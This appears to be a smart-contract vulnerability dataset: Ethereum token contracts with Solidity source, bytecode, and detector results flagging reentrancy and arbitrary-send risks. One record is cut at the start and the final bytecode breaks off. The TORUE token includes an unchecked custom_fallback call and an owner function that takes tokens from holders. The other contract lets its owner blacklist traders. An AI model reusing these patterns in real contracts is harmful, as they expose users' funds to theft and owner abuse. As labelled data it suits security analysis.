IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyTokens = 5000000 * 10**9; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external onlyOwner(){ _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610560578063db92dbb614610575578063dcb0e0ad1461058a578063dd62ed3e146105aa57600080fd5b8063a9059cbb146104eb578063b2289c621461050b578063b515566a1461052b578063c3c8cd801461054b57600080fd5b80638da5cb5b116100d15780638da5cb5b1461049857806394b8d8f2146104b657806395d89b41146101f35780639e78fb4f146104d657600080fd5b80636fc3eaec1461042e57806370a0823114610443578063715018a61461046357806373f54a111461047857600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103aa57806349bd5a5e146103ca578063590f897e146104025780636755a4d01461041857600080fd5b806331c2d8471461032557806332d873d8146103455780633bbac5791461035b57806340b9a54b1461039457600080fd5b80631940d020116101b65780631940d020146102b357806323b872dd146102c957806327f3a72a146102e9578063313ce567146102fe57600080fd5b806306fdde03146101f3578063095ea7b31461023c5780630b78f9c01461026c57806318160ddd1461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610226604051806040016040528060078152602001662230ba3932b7b760c91b81525081565b60405161023391906116a2565b60405180910390f35b34801561024857600080fd5b5061025c61025736600461171c565b6105f0565b6040519015158152602001610233565b34801561027857600080fd5b5061028c610287366004611748565b610606565b005b34801561029a57600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102bf57600080fd5b506102a5600d5481565b3480156102d557600080fd5b5061025c6102e436600461176a565b61069b565b3480156102f557600080fd5b506102a56106ef565b34801561030a57600080fd5b50610313600981565b60405160ff9091168152602001610233565b34801561033157600080fd5b5061028c6103403660046117c1565b6106ff565b34801561035157600080fd5b506102a5600e5481565b34801561036757600080fd5b5061025c610376366004611886565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a057600080fd5b506102a560095481565b3480156103b657600080fd5b5061028c6103c53660046118a3565b610795565b3480156103d657600080fd5b506008546103ea906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b34801561040e57600080fd5b506102a5600a5481565b34801561042457600080fd5b506102a5600c5481565b34801561043a57600080fd5b5061028c610828565b34801561044f57600080fd5b506102a561045e366004611886565b610835565b34801561046f57600080fd5b5061028c610850565b34801561048457600080fd5b5061028c610493366004611886565b6108c4565b3480156104a457600080fd5b506000546001600160a01b03166103ea565b3480156104c257600080fd5b50600f5461025c9062010000900460ff1681565b3480156104e257600080fd5b5061028c61093c565b3480156104f757600080fd5b5061025c61050636600461171c565b610b47565b34801561051757600080fd5b506007546103ea906001600160a01b031681565b34801561053757600080fd5b5061028c6105463660046117c1565b610b54565b34801561055757600080fd5b5061028c610c6d565b34801561056c57600080fd5b5061028c610c83565b34801561058157600080fd5b506102a5610e42565b34801561059657600080fd5b5061028c6105a53660046118ca565b610e5a565b3480156105b657600080fd5b506102a56105c53660046118e7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006105fd338484610ed7565b50600192915050565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090611920565b60405180910390fd5b6009548210801561064b5750600a5481105b61065457600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106a8848484610ffb565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106d790849061196b565b90506106e4853383610ed7565b506001949350505050565b60006106fa30610835565b905090565b6000546001600160a01b031633146107295760405162461bcd60e51b815260040161063090611920565b60005b81518110156107915760006005600084848151811061074d5761074d611982565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078981611998565b91505061072c565b5050565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161063090611920565b6007546001600160a01b0316336001600160a01b0316146107df57600080fd5b600081116107ec57600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b476108328161136f565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461087a5760405162461bcd60e51b815260040161063090611920565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161063090611920565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161081d565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161063090611920565b600f5460ff16156109b95760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610630565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4291906119b3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab391906119b3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2491906119b3565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006105fd338484610ffb565b6000546001600160a01b03163314610b7e5760405162461bcd60e51b815260040161063090611920565b60005b81518110156107915760085482516001600160a01b0390911690839083908110610bad57610bad611982565b60200260200101516001600160a01b031614158015610bfe575060065482516001600160a01b0390911690839083908110610bea57610bea611982565b60200260200101516001600160a01b031614155b15610c5b57600160056000848481518110610c1b57610c1b611982565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c6581611998565b915050610b81565b6000610c7830610835565b9050610832816113a9565b6000546001600160a01b03163314610cad5760405162461bcd60e51b815260040161063090611920565b600f5460ff1615610cbd57600080fd5b600654610cdd9030906001600160a01b0316670de0b6b3a7640000610ed7565b6006546001600160a01b031663f305d7194730610cf981610835565b600080610d0e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d76573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d9b91906119d0565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610df4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1891906119fe565b50600f805460ff1916600117905542600e556611c37937e08000600c5566470de4df820000600d55565b6008546000906106fa906001600160a01b0316610835565b6000546001600160a01b03163314610e845760405162461bcd60e51b815260040161063090611920565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161081d565b6001600160a01b038316610f395760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610630565b6001600160a01b038216610f9a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610630565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561102157600080fd5b6001600160a01b0383166110855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610630565b6001600160a01b0382166110e75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610630565b600081116111495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610630565b600080546001600160a01b0385811691161480159061117657506000546001600160a01b03848116911614155b15611310576008546001600160a01b0385811691161480156111a657506006546001600160a01b03848116911614155b80156111cb57506001600160a01b03831660009081526004602052604090205460ff16155b1561122957600f5460ff166111df57600080fd5b42600e5460b46111ef9190611a1b565b111561122557600c5482111561120457600080fd5b600d5461121084610835565b61121a9084611a1b565b111561122557600080fd5b5060015b600f54610100900460ff161580156112435750600f5460ff165b801561125d57506008546001600160a01b03858116911614155b1561131057600061126d30610835565b905080156112f957600f5462010000900460ff16156112f057600b54600854606491906112a2906001600160a01b0316610835565b6112ac9190611a33565b6112b69190611a52565b8111156112f057600b54600854606491906112d9906001600160a01b0316610835565b6112e39190611a33565b6112ed9190611a52565b90505b6112f9816113a9565b478015611309576113094761136f565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061135257506001600160a01b03841660009081526004602052604090205460ff165b1561135b575060005b611368858585848661151d565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610791573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ed576113ed611982565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611446573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146a91906119b3565b8160018151811061147d5761147d611982565b6001600160a01b0392831660209182029290920101526006546114a39130911684610ed7565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114dc908590600090869030904290600401611a74565b600060405180830381600087803b1580156114f657600080fd5b505af115801561150a573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611529838361153f565b905061153786868684611563565b505050505050565b600080831561155c578215611557575060095461155c565b50600a545b9392505050565b6000806115708484611640565b6001600160a01b038816600090815260026020526040902054919350915061159990859061196b565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546115c9908390611a1b565b6001600160a01b0386166000908152600260205260409020556115eb81611674565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161163091815260200190565b60405180910390a3505050505050565b6000808060646116508587611a33565b61165a9190611a52565b90506000611668828761196b565b96919550909350505050565b3060009081526002602052604090205461168f908290611a1b565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156116cf578581018301518582016040015282016116b3565b818111156116e1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461083257600080fd5b8035611717816116f7565b919050565b6000806040838503121561172f57600080fd5b823561173a816116f7565b946020939093013593505050565b6000806040838503121561175b57600080fd5b50508035926020909101359150565b60008060006060848603121561177f57600080fd5b833561178a816116f7565b9250602084013561179a816116f7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117d457600080fd5b823567ffffffffffffffff808211156117ec57600080fd5b818501915085601f83011261180057600080fd5b813581811115611812576118126117ab565b8060051b604051601f19603f83011681018181108582111715611837576118376117ab565b60405291825284820192508381018501918883111561185557600080fd5b938501935b8285101561187a5761186b8561170c565b8452938501939285019261185a565b98975050505050505050565b60006020828403121561189857600080fd5b813561155c816116f7565b6000602082840312156118b557600080fd5b5035919050565b801515811461083257600080fd5b6000602082840312156118dc57600080fd5b813561155c816118bc565b600080604083850312156118fa57600080fd5b8235611905816116f7565b91506020830135611915816116f7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561197d5761197d611955565b500390565b634e487b7160e01b600052603260045260246000fd5b60006000198214156119ac576119ac611955565b5060010190565b6000602082840312156119c557600080fd5b815161155c816116f7565b6000806000606084860312156119e557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a1057600080fd5b815161155c816118bc565b60008219821115611a2e57611a2e611955565b500190565b6000816000190483118215151615611a4d57611a4d611955565b500290565b600082611a6f57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac45784516001600160a01b031683529383019391830191600101611a9f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122028c9e4076558554022ed5ea92e907ea42ae837fd23c6f1a1e9970ec6393fe4f064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,849
0x00138bd67465733ae1bedfd2105a6ffa83af97d8
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract UpgradeAgent { function upgradeFrom(address _from, uint256 _value) external; } contract ERC223Interface { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC20Interface { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value, bytes data) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract ReceivingContract { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract Owned { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function Owned() public { owner = msg.sender; } function changeOwner(address _newOwner) public onlyOwner { require(_newOwner != address(0)); OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TORUE is ERC223Interface,ERC20Interface,Owned { using SafeMath for uint; string public name = "torue"; string public symbol = "TRE"; uint8 public decimals = 6; uint256 public totalSupply = 100e8 * 1e6; mapping (address => uint256) balances; mapping (address => uint256) public lockedAccounts; mapping (address => bool) public frozenAccounts; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => bool) public salvageableAddresses; event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed burner, uint256 value); event DistributeTokens(uint count,uint256 totalAmount); event Upgrade(address indexed from, address indexed to, uint256 value); event AccountLocked(address indexed addr, uint256 releaseTime); event AccountFrozen(address indexed addr, bool frozen); address ownerAddress = 0xA0Bf23D5Ef64B6DdEbF5343a3C897c53005ee665; address lockupAddress1 = 0xB3c289934692ECE018d137fFcaB54631e6e2b405; address lockupAddress2 = 0x533c43AF0DDb5ee5215c0139d917F1A871ff9CB5; bool public compatible20 = true; bool public compatible223 = true; bool public compatible223ex = true; bool public mintingFinished = false; bool public salvageFinished = false; bool public paused = false; bool public upgradable = false; bool public upgradeAgentLocked = false; address public upgradeMaster; address public upgradeAgent; uint256 public totalUpgraded; modifier canMint() { require(!mintingFinished); _; } modifier isRunning(){ require(!paused); _; } function TORUE() public { require(msg.sender==ownerAddress); owner = ownerAddress; upgradeMaster = ownerAddress; balances[owner] = totalSupply.mul(70).div(100); balances[lockupAddress1] = totalSupply.mul(15).div(100); balances[lockupAddress2] = totalSupply.mul(15).div(100); paused = false; } function switchCompatible20(bool _value) onlyOwner public { compatible20 = _value; } function switchCompatible223(bool _value) onlyOwner public { compatible223 = _value; } function switchCompatible223ex(bool _value) onlyOwner public { compatible223ex = _value; } function switchPaused(bool _paused) onlyOwner public { paused = _paused; } function switchUpgradable(bool _value) onlyOwner public { upgradable = _value; } function switchUpgradeAgentLocked(bool _value) onlyOwner public { upgradeAgentLocked = _value; } function isUnlocked(address _addr) private view returns (bool){ return(now > lockedAccounts[_addr] && frozenAccounts[_addr] == false); } function isUnlockedBoth(address _addr) private view returns (bool){ return(now > lockedAccounts[msg.sender] && now > lockedAccounts[_addr] && frozenAccounts[msg.sender] == false && frozenAccounts[_addr] == false); } function lockAccounts(address[] _addresses, uint256 _releaseTime) onlyOwner public { require(_addresses.length > 0); for(uint j = 0; j < _addresses.length; j++){ require(lockedAccounts[_addresses[j]] < _releaseTime); lockedAccounts[_addresses[j]] = _releaseTime; AccountLocked(_addresses[j], _releaseTime); } } function freezeAccounts(address[] _addresses, bool _value) onlyOwner public { require(_addresses.length > 0); for (uint j = 0; j < _addresses.length; j++) { require(_addresses[j] != 0x0); frozenAccounts[_addresses[j]] = _value; AccountFrozen(_addresses[j], _value); } } function setSalvageable(address _addr, bool _value) onlyOwner public { salvageableAddresses[_addr] = _value; } function finishSalvage(address _addr) onlyOwner public returns (bool) { require(_addr==owner); salvageFinished = true; return true; } function salvageTokens(address _addr,uint256 _amount) onlyOwner public isRunning returns(bool) { require(_amount > 0 && balances[_addr] >= _amount); require(now > lockedAccounts[msg.sender] && now > lockedAccounts[_addr]); require(salvageableAddresses[_addr] == true && salvageFinished == false); balances[_addr] = balances[_addr].sub(_amount); balances[msg.sender] = balances[msg.sender].add(_amount); Transfer(_addr, msg.sender, _amount); return true; } function approve(address _spender, uint256 _value) public isRunning returns (bool) { require(compatible20); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function transferFrom(address _from, address _to, uint256 _value) public isRunning returns (bool) { require(compatible20); require(isUnlocked(_from)); require(isUnlocked(_to)); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); bytes memory empty; if(isContract(_to)) { ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value, empty); Transfer(_from, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public isRunning returns (bool) { require(compatible20); require(isUnlocked(_from)); require(isUnlocked(_to)); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); if(isContract(_to)) { ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); Transfer(_from, _to, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public isRunning returns (bool) { require(compatible20); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public isRunning returns (bool) { require(compatible20); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function mint(address _to, uint256 _amount) onlyOwner canMint public isRunning returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting(address _addr) onlyOwner public returns (bool) { require(_addr==owner); mintingFinished = true; MintFinished(); return true; } function burn(uint256 _value) public isRunning { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); } function isContract(address _addr) private view returns (bool is_contract) { uint ln; assembly { ln := extcodesize(_addr) } return (ln > 0); } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public isRunning returns (bool ok) { require(compatible223ex); require(isUnlockedBoth(_to)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (isContract(_to)) { assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); } Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value, bytes _data) public isRunning returns (bool ok) { require(compatible223); require(isUnlockedBoth(_to)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(isContract(_to)) { ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value) public isRunning returns (bool ok) { require(isUnlockedBoth(_to)); require(balances[msg.sender] >= _value); bytes memory empty; balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(isContract(_to)) { ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value, empty); Transfer(msg.sender, _to, _value); return true; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function distributeTokens(address[] _addresses, uint256 _amount) onlyOwner public isRunning returns(bool) { require(_addresses.length > 0 && isUnlocked(msg.sender)); uint256 totalAmount = _amount.mul(_addresses.length); require(balances[msg.sender] >= totalAmount); for (uint j = 0; j < _addresses.length; j++) { require(isUnlocked(_addresses[j])); balances[_addresses[j]] = balances[_addresses[j]].add(_amount); Transfer(msg.sender, _addresses[j], _amount); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); DistributeTokens(_addresses.length, totalAmount); return true; } function distributeTokens(address[] _addresses, uint256[] _amounts) onlyOwner public isRunning returns (bool) { require(_addresses.length > 0 && _addresses.length == _amounts.length && isUnlocked(msg.sender)); uint256 totalAmount = 0; for(uint j = 0; j < _addresses.length; j++){ require(_amounts[j] > 0 && _addresses[j] != 0x0 && isUnlocked(_addresses[j])); totalAmount = totalAmount.add(_amounts[j]); } require(balances[msg.sender] >= totalAmount); for (j = 0; j < _addresses.length; j++) { balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]); Transfer(msg.sender, _addresses[j], _amounts[j]); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); DistributeTokens(_addresses.length, totalAmount); return true; } function upgrade(uint256 _value) external isRunning { require(upgradable); require(upgradeAgent != 0); require(_value != 0); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); totalUpgraded = totalUpgraded.add(_value); UpgradeAgent(upgradeAgent).upgradeFrom(msg.sender, _value); Upgrade(msg.sender, upgradeAgent, _value); } function setUpgradeAgent(address _agent) external { require(_agent != 0); require(!upgradeAgentLocked); require(msg.sender == upgradeMaster); upgradeAgent = _agent; upgradeAgentLocked = true; } function setUpgradeMaster(address _master) external { require(_master != 0); require(msg.sender == upgradeMaster); upgradeMaster = _master; } }
0x6060604052600436106102375763ffffffff60e060020a60003504166305d2035b811461023c57806306fdde0314610263578063095ea7b3146102ed57806309f8cc581461030f5780630f86f7021461032257806310717a2e1461033557806318160ddd1461034f57806323b872dd14610374578063256fa2411461039c5780632cad9404146103ed578063313ce5671461040057806340c10f191461042957806342966c681461044b57806345977d03146104615780634b4a5088146104775780634bd09c2a1461048f5780635713fcb71461051e5780635c975abb146105315780635de4ccb014610544578063600440cb146105735780636268854d1461058657806366188463146105a5578063683de015146105c75780636ca562d6146105df57806370a08231146105f75780637132ebcd1461061657806372054df41461062e5780637619220014610641578063860838a5146106605780638da5cb5b1461067f57806395d89b4114610692578063a6f9dae1146106a5578063a9059cbb146106c4578063ab67aa58146106e6578063af303a1114610752578063be45fd6214610774578063c341b9f6146107d9578063c752ff621461082c578063c9206ddf1461083f578063d73dd62314610863578063d7e7088a14610885578063dd62ed3e146108a4578063e5ac7291146108c9578063e63b029d1461091a578063ebd0d82014610939578063ee94bdaf14610958578063f4d26fec14610970578063f6368f8a14610983578063ffeb7d7514610a2a575b600080fd5b341561024757600080fd5b61024f610a49565b604051901515815260200160405180910390f35b341561026e57600080fd5b610276610a6d565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102b257808201518382015260200161029a565b50505050905090810190601f1680156102df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102f857600080fd5b61024f600160a060020a0360043516602435610b15565b341561031a57600080fd5b61024f610bb0565b341561032d57600080fd5b61024f610bc0565b341561034057600080fd5b61034d6004351515610be2565b005b341561035a57600080fd5b610362610c3f565b60405190815260200160405180910390f35b341561037f57600080fd5b61024f600160a060020a0360043581169060243516604435610c45565b34156103a757600080fd5b61024f60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610fb892505050565b34156103f857600080fd5b61024f6111d4565b341561040b57600080fd5b6104136111f9565b60405160ff909116815260200160405180910390f35b341561043457600080fd5b61024f600160a060020a0360043516602435611202565b341561045657600080fd5b61034d600435611329565b341561046c57600080fd5b61034d6004356113e5565b341561048257600080fd5b61034d600435151561157b565b341561049a57600080fd5b61024f6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506115c595505050505050565b341561052957600080fd5b61024f6117c5565b341561053c57600080fd5b61024f6117d5565b341561054f57600080fd5b6105576117e5565b604051600160a060020a03909116815260200160405180910390f35b341561057e57600080fd5b6105576117f4565b341561059157600080fd5b61024f600160a060020a0360043516611803565b34156105b057600080fd5b61024f600160a060020a0360043516602435611818565b34156105d257600080fd5b61034d6004351515611947565b34156105ea57600080fd5b61034d6004351515611997565b341561060257600080fd5b610362600160a060020a03600435166119f6565b341561062157600080fd5b61034d6004351515611a11565b341561063957600080fd5b61024f611a60565b341561064c57600080fd5b61024f600160a060020a0360043516611a83565b341561066b57600080fd5b61024f600160a060020a0360043516611b2a565b341561068a57600080fd5b610557611b3f565b341561069d57600080fd5b610276611b4e565b34156106b057600080fd5b61034d600160a060020a0360043516611bc1565b34156106cf57600080fd5b61024f600160a060020a0360043516602435611c5c565b34156106f157600080fd5b61024f600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611f0595505050505050565b341561075d57600080fd5b61024f600160a060020a03600435166024356121bb565b341561077f57600080fd5b61024f60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061237195505050505050565b34156107e457600080fd5b61034d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506125889050565b341561083757600080fd5b61036261268f565b341561084a57600080fd5b61034d600160a060020a03600435166024351515612695565b341561086e57600080fd5b61024f600160a060020a03600435166024356126db565b341561089057600080fd5b61034d600160a060020a03600435166127af565b34156108af57600080fd5b610362600160a060020a0360043581169060243516612851565b34156108d457600080fd5b61034d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650509335935061287c92505050565b341561092557600080fd5b61024f600160a060020a0360043516612983565b341561094457600080fd5b610362600160a060020a0360043516612a00565b341561096357600080fd5b61034d6004351515612a12565b341561097b57600080fd5b61024f612a63565b341561098e57600080fd5b61024f60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650612a7395505050505050565b3415610a3557600080fd5b61034d600160a060020a0360043516612c95565b600d5477010000000000000000000000000000000000000000000000900460ff1681565b610a75612e1f565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0b5780601